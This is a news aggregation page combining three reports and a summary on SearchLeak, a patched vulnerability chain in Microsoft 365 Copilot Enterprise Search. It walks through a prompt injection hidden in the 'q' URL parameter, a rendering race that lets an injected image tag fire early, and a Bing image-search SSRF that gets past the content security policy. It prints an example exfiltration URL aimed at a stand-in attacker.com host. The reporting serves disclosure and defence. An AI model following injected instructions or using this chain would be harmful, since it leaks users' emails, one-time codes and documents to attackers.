3 Sources
[1]
Critical Copilot vulnerability allowed hackers to seal 2FA code from users
Last Tuesday, Microsoft patched a vulnerability it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who discovered the vulnerability and reported it to Microsoft revealed how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails accessible to Copilot. Microsoft and other LLM providers have been unable to prevent their products from complying with malicious requests to reveal data. The root cause: AI bots are unable to distinguish between instructions provided by users and those snuck into third-party content the models are summarizing, drafting responses to, or using to perform other actions on behalf of the user. With no way to secure this crucial boundary, Microsoft and its peers are left to erect complicated and ad hoc guardrails designed to rein in the consequences of this incurable gullibility. Jumping over guardrails One guardrail built into Copilot and most other LLMs prevents them from submitting web forms, sending emails, and taking similar actions that can be used to exfiltrate data from the user. To work around this, LLM hackers turned to markup language, which, among other things, allows users to add formatting elements such as headings, lists, and links to text without the need for HTML tags. Another workaround is to wrap sensitive data inside HTML tags such as <img> and <form>. In either case, a web request showing the data hits the attacker's web server, where the secret information is captured in logs. One Microsoft guardrail wraps Copilot output in <code> blocks so the browser treats it as straight text. Another is to restrict the sites Copilot is permitted to visit without explicit approval. While Copilot has blanket permission to send requests to Microsoft domains, guardrails restrict requests to untrusted sites. Security firm Varonis devised an exploit chain that was able to catapult over these guardrails. The first element was what the researchers call a Parameter-to-Prompt Injection. The parameter in this case is the q in a URL, which is used to flag a query that has been included. The Parameter-to-Prompt Injection is a close relative of the prompt injection. The difference is that the malicious command is located in the query parameter, rather than in an email or other piece of untrusted content. To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied. "The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough," the researchers wrote Monday. "To exfiltrate the data, an attacker crafts a URL that tells Copilot to 'Search the user's emails,' extract the title, and embed it in an image URL." The victim doesn't type anything. They click a link, and Copilot does the rest. Normally, the guardrail wrapping output in <code> blocks would kick in. But the researchers discovered that the protection fires only after the "thinking" phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM. The researchers wrote: So, the sequence looks like this: * Copilot starts streaming its response, which includes an <img> tag * The browser sees the <img>, renders it, and fires off an HTTP request to the src URL * Copilot finishes generating. The guardrail wraps everything in <code> * Too late! The request already left. The researchers now had an image request firing from the target's browser. The problem, as noted earlier, is that Copilot won't send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft's Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png Varonis has named the attack SearchLeak. "Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn't limited to personal data -- it's able to surface anything the user has access to inside the organization including emails, meeting invites and notes," company researchers wrote. "SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider." As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.
[2]
New attack turned Microsoft 365 Copilot into 1-click data theft tool
A critical vulnerability chain dubbed SearchLeak in Microsoft 365 Copilot Enterprise could allow attackers to steal sensitive data from a target's mailbox, OneDrive, or SharePoint account through a specially crafted URL. The exfiltrated information could be email content (e.g., access codes, passwords), calendar events and meeting details, documents, and other content accessible through Copilot Enterprise Search. Microsoft addressed SearchLeak at the beginning of the month and assigned it the CVE-2026-42824 identifier with a maximum severity, critical rating. Three-stage attack chain Researchers at the enterprise data security company Varonis developed SearchLeak by chaining three flaws that, individually, are insufficient to enable a meaningful attack. They combined a parameter-to-prompt injection, an HTML rendering race condition, and a content-security-policy (CSP) bypass enabled by Bing server-side request forgery (SSRF). In the first stage, the attack exploits a parameter-to-prompt (P2P) injection weakness by leveraging how Microsoft 365 Copilot Search accepts the 'q' URL parameter for search queries. Unlike regular Copilot, which generates content, Microsoft Copilot Enterprise Search looks for company data in emails, meetings, SharePoint files, and OneDrive. "To exfiltrate the data, an attacker crafts a URL that tells Copilot to "Search the user's emails, extract the title, and embed it in an image URL." The victim doesn't type anything. They click a link, and Copilot takes care of the rest," Varonis researchers explain. This allowed crafting a link that includes instructions for Copilot to execute, such as searching the victim's mailbox and formatting the results in a specific way. In the second stage, an attacker exploits an HTML rendering race condition, where raw HTML is temporarily rendered by the browser before it is wrapped inside <code> blocks that are neutralized while Copilot is streaming its output. This lets attacker-controlled HTML with an <img> tag execute and trigger outbound requests before the sanitization process completes. The third part of the chain is an SSRF issue in Bing's "Search by Image" feature, which is used to launch a request to fetch an image from the attacker's endpoint. Because Bing makes the request, in this case to retrieve content that Copilot should analyze, the CSP protection is bypassed. With the stolen data embedded in the URL, the attacker can read it from their server's request logs. "Bing becomes an unwitting exfiltration proxy. A classic SSRF, hiding in plain sight behind a CSP allowlist entry," the researchers conclude. When chaining the weaknesses, the attack starts with the victim clicking on a crafted link that launches Microsoft 365 Copilot Search with instructions in the 'q' parameter to search the victim's mailbox or other data sources. Next, it then generates a response with an image tag, including the stolen information in the URL. While the response is being streamed, the browser renders the image and sends a request to Bing, which fetches the attacker's URL, including the stolen data. From the victim's perspective, all they see is Copilot "thinking" for a moment, but there is no indication that data is being exfiltrated. With Microsoft having fixed CVE-2026-42824, there's no user action required to mitigate this threat. Varonis underscores that familiar, easily contained bugs like SSRF and HTML injection race conditions can now be weaponized into potent attacks when prompt injection is possible. Ultimately, AI systems have created new pathways to exploit older bug classes in contexts where they previously would not have been nearly as impactful.
[3]
A single click on a Microsoft link could have drained your inbox. Here's how SearchLeak worked.
Varonis found three chained bugs in Microsoft 365 Copilot Enterprise Search that let an attacker steal data with one click on a microsoft.com link. Security researchers at Varonis Threat Labs have disclosed a vulnerability chain in Microsoft 365 Copilot Enterprise Search that could have let an attacker steal emails, calendar entries, and indexed files with a single click. The attack, which Varonis calls SearchLeak, worked through a crafted URL on a legitimate microsoft.com domain, meaning traditional anti-phishing and URL filtering tools were unlikely to flag it. Microsoft assigned CVE-2026-42824 on June 4 and rated it critical under its own severity system, though the CVSS v3.1 base score came in at 6.5, a medium rating. The victim never typed a prompt, entered a password, or clicked a second time. Varonis researcher Dolev Taler, who is credited in Microsoft's advisory, demonstrated the attack as a proof of concept. Microsoft mitigated the flaw on its backend, and because Copilot Enterprise is a managed service, no customer action was required. SearchLeak chains three distinct weaknesses, each insufficient on its own but devastating in sequence. The entry point is the q parameter in the Copilot Enterprise Search URL, which is meant for a natural-language query. Varonis calls this parameter-to-prompt injection: an attacker writes a URL that tells Copilot to search the victim's mailbox, extract a piece of data like an email subject line, and embed it inside an image URL. The victim clicks, and Copilot executes the instructions without any additional input. The second link in the chain is a race condition in how Copilot's response is rendered. Microsoft's guardrail wraps output in code blocks so the browser treats markup as text, but the wrapping happens after Copilot finishes generating. The browser renders the stream as it arrives, so an injected image tag fires its request before the sanitizer runs. By the time the output is neutralised, the outbound request has already left. The third component is a server-side request forgery through Bing. The content security policy on m365.cloud.microsoft blocks images from arbitrary domains but allowlists *.bing.com. Bing's "Search by Image" endpoint accepts an image URL and fetches it server-side to analyse it. Point that fetch at an attacker's server with stolen data encoded in the URL path, and Bing retrieves it on the attacker's behalf. The browser's CSP never applies because the request originates from Bing's infrastructure. Put together, the sequence works like this: the victim clicks a link, Copilot searches their data, the response embeds a value in a Bing image URL, the browser calls Bing during streaming, and Bing pulls the attacker's URL. The attacker reads the stolen data from their own server logs, for example a request for /Your_Security_Code_847291/img.png. The reach of the attack matched whatever the signed-in user could access through their Microsoft Graph permissions. The most time-sensitive targets were one-time codes, MFA tokens, and password-reset links sitting in the inbox, often still valid for several minutes. Calendar invites, meeting notes, and any SharePoint or OneDrive files that Copilot had indexed were also within reach. Microsoft's advisory classifies the flaw as CWE-77, improper neutralisation of special elements used in a command. The company rated it critical, though the CVSS v3.1 base score of 6.5 reflects the requirement for user interaction, specifically that single click. The source article reporting the story claimed the NVD assigned a score of 7.5, but both Microsoft's own CSAF record and the NVD entry show an identical CVSS:3.1 vector with a 6.5 base score. SearchLeak is the second time Varonis has demonstrated this pattern against Copilot. Taler previously disclosed the Reprompt attack against Copilot Personal, which used the same one-click technique to exfiltrate data. That vulnerability was reported to Microsoft in August 2025 and patched in January 2026. SearchLeak held up against Enterprise Search despite the additional guardrails that tier is supposed to enforce. The same class of bug appeared independently in EchoLeak, a zero-click Copilot vulnerability disclosed by Aim Security in 2025 and tracked as CVE-2025-32711 with a CVSS score of 9.3. EchoLeak required no user interaction at all, embedding prompt injections in documents that Copilot processed automatically. Together, these three disclosures establish a pattern: prompt injection is the new ingredient that makes old web vulnerabilities dangerous again. SSRF and HTML sanitiser race conditions are well-understood bug classes that security teams have been mitigating for years. What makes them potent in Copilot is the prompt injection layer, which creates a path to trigger them through a URL parameter that was designed to accept natural language. The AI system does not just search, it follows instructions embedded in the query, and those instructions can include data exfiltration logic that would be impossible through a conventional search interface. The implications extend beyond Copilot. AI systems integrated into enterprise workflows inherit the access permissions of their users but introduce new attack surfaces that existing security tooling was not built to detect. A URL filter that checks domain reputation would pass a link to microsoft.com. A content security policy that trusts Bing would allow the exfiltration request. Neither tool was designed to account for an AI intermediary that converts URL parameters into executable instructions. For organisations running Microsoft 365 Copilot Enterprise, Varonis recommends watching for Copilot Search URLs carrying encoded payloads or HTML in the q parameter and monitoring for unusual outbound requests to Bing's image endpoints. Tightening data-access governance so Copilot indexes less content would shrink what any future vulnerability could reach. Microsoft fixed SearchLeak before it was exploited in the wild, and the company says there is no evidence of malicious use. But the rapid expansion of Copilot into enterprise and public-sector environments means the attack surface is growing faster than the guardrails. Three disclosures in six months, each bypassing protections the previous fix was supposed to establish, suggests the fundamental tension between giving an AI tool broad data access and keeping that data secure remains unresolved.
Share
Copy Link
Security researchers at Varonis Threat Labs discovered a critical vulnerability chain in Microsoft 365 Copilot Enterprise that allowed attackers to steal sensitive data including 2FA codes, emails, and documents through a single click on a legitimate microsoft.com link. Microsoft patched the SearchLeak vulnerability, tracked as CVE-2026-42824, but the incident highlights a persistent challenge: AI systems cannot distinguish between legitimate user instructions and malicious commands embedded in third-party content.
Microsoft patched a critical vulnerability in its Microsoft 365 Copilot AI platform last Tuesday, rating it as maximum severity. Security firm Varonis Threat Labs revealed on Monday how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails, calendar events, SharePoint documents, and OneDrive files accessible to Copilot
1
. The attack, dubbed SearchLeak vulnerability and tracked as CVE-2026-42824, functioned through a crafted URL on a legitimate microsoft.com domain, making it nearly invisible to traditional anti-phishing and URL filtering tools3
.
Source: BleepingComputer
The victim never typed a prompt, entered a password, or clicked a second time. From the user's perspective, all they saw was Copilot "thinking" for a moment, with no indication that data was being exfiltrated
2
. This turned Microsoft 365 Copilot into an effective data theft tool requiring minimal user interaction.The root cause of SearchLeak lies in a fundamental weakness affecting Microsoft 365 Copilot and other LLM providers: AI bots cannot distinguish between instructions provided by users and those embedded in third-party content the models are summarizing or acting upon
1
. With no way to secure this crucial boundary, Microsoft and its peers must erect complicated and ad hoc guardrails designed to contain the consequences of this vulnerability.Varonis Threat Labs researcher Dolev Taler, credited in Microsoft's advisory, developed SearchLeak by chaining three distinct weaknesses that individually would be insufficient to enable a meaningful attack
2
. The first element was a parameter-to-prompt injection, exploiting the 'q' parameter in the Copilot Enterprise Search URL. An attacker could craft a URL like https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q= containing instructions that told Copilot to search the user's emails, extract specific data, and embed it in an image URL1
.The second link in the chain exploited a race condition in how Copilot's response is rendered. Microsoft built a guardrail that wraps Copilot output in code blocks so browsers treat it as straight text rather than executable HTML. However, Varonis discovered this protection fires only after the "thinking" phase
1
. Prior to that, Copilot generated its response using raw HTML, which was temporarily rendered in the browser DOM. The sequence worked like this: Copilot started streaming its response including an image tag, the browser saw the image and fired off an HTTP request to the source URL, then Copilot finished generating and the guardrail wrapped everything in code blocks—but too late, as the request had already left1
.The third component involved bypassing guardrails through server-side request forgery using Bing. Per the Copilot content security policy, most websites are restricted from receiving image requests, but Bing is among the sites permitted to send such requests
1
. The exploit used Bing's "Search by Image" feature as a trampoline, with requests formatted like: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png. This CSP bypass allowed Bing to fetch the attacker's URL on their behalf, with stolen data encoded in the URL path that appeared in the attacker's server logs3
.Related Stories

Source: Ars Technica
The blast radius of SearchLeak extended beyond personal data to encompass anything the user could access within their organization. Since the attack targeted the Enterprise tier of Microsoft 365 Copilot, it could surface emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content
1
. The most time-sensitive targets were one-time codes, multi-factor authentication tokens, and password-reset links sitting in inboxes, often still valid for several minutes3
.Microsoft assigned CVE-2026-42824 to the critical vulnerability and classified it as CWE-77, improper neutralization of special elements used in a command. The company rated it critical under its own severity system, though the CVSS v3.1 base score came in at 6.5, a medium rating reflecting the requirement for user interaction—specifically that single click
3
. Because Copilot Enterprise is a managed service, Microsoft mitigated the flaw on its backend and no customer action was required3
.SearchLeak represents the second time Varonis has demonstrated this attack pattern against Copilot. Taler previously disclosed the Reprompt attack against Copilot Personal, which used the same one-click technique to exfiltrate data. That vulnerability was reported to Microsoft in August 2025 and patched in January 2026
3
. A similar vulnerability called EchoLeak, disclosed by Aim Security in 2025 and tracked as CVE-2025-32711 with a CVSS score of 9.3, required no user interaction at all, embedding prompt injections in documents that Copilot processed automatically3
.Varonis researchers emphasize that familiar bug classes like server-side request forgery and HTML injection race conditions can now be weaponized into potent attacks when prompt injection is possible
2
. These are well-understood vulnerabilities that security teams have been mitigating for years, but AI systems have created new pathways to exploit them in contexts where they previously would not have been nearly as impactful2
.With no known way to fix the underlying cause that allows AI systems to conflate user instructions with malicious commands embedded in content, attackers will inevitably find new ways to circumvent newly constructed guardrails
1
. Organizations deploying AI-powered tools should monitor for unusual data access patterns and maintain awareness that the boundary between trusted user input and untrusted content remains fundamentally insecure in current LLM architectures. The SearchLeak incident demonstrates that as enterprises integrate AI systems deeper into their workflows, the attack surface expands in ways that traditional security controls struggle to address.Summarized by
Navi
[2]
12 Jun 2025•Technology

16 Jan 2026•Technology

18 Feb 2026•Technology

1
Policy and Regulation

2
Business and Economy

3
Technology
